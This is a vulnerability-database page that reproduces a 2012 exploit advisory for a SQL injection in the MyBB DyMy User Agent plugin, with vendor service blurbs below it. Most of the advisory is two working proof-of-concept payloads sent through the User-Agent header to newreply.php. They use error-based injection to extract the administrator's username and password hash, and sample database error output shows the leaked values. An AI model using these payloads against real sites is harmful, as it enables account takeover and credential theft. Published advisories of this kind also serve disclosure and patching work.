Lucene search
K

MyBB DyMy User Agent SQL Injection

🗓️ 13 Dec 2012 00:00:00Reported by JoinSe7enType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 14 Views

MyBB DyMy User Agent Plugin SQL injection vulnerability. Author: JoinSe7en. Tested on Linux

Code
`############################################################################  
# Exploit title : MyBB DyMy User Agent Plugin SQL injection vulnerability. #  
# Author: JoinSe7en #  
# Date : 13 Dec 2012 #  
# Tested on : Linux #  
# Category : Web Applications #  
# Software Link : http://mods.mybb.com/view/dymy-user-agent #  
############################################################################  
  
  
[*] PoC (receive admin username)  
  
We fire up HTTP Live Headers or a similar tool, post something and press 'replay'.  
We then replace our user agent with the following Query:  
  
POST http://localhost/mybb/newreply.php?ajax=1  
  
HTTP Headers:  
Host: localhost  
User-Agent: ' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)); #  
  
Output:  
  
SQL Error:  
1062 - Duplicate entry 'admin1' for key 'group_key'  
  
+------------------------------------------------------------------+  
  
[*] PoC (receive admin password)  
  
We then replace our user agent with the following Query:  
  
POST http://localhost/mybb/newreply.php?ajax=1  
  
HTTP Headers:  
Host: localhost  
User-Agent: ' and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)); #  
  
Output:  
SQL Error:  
1062 - Duplicate entry '098f6bcd4621d373cade4e832627b4f6' for key 'group_key'  
  
+------------------------------------------------------------------+  
  
  
Enjoy.  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation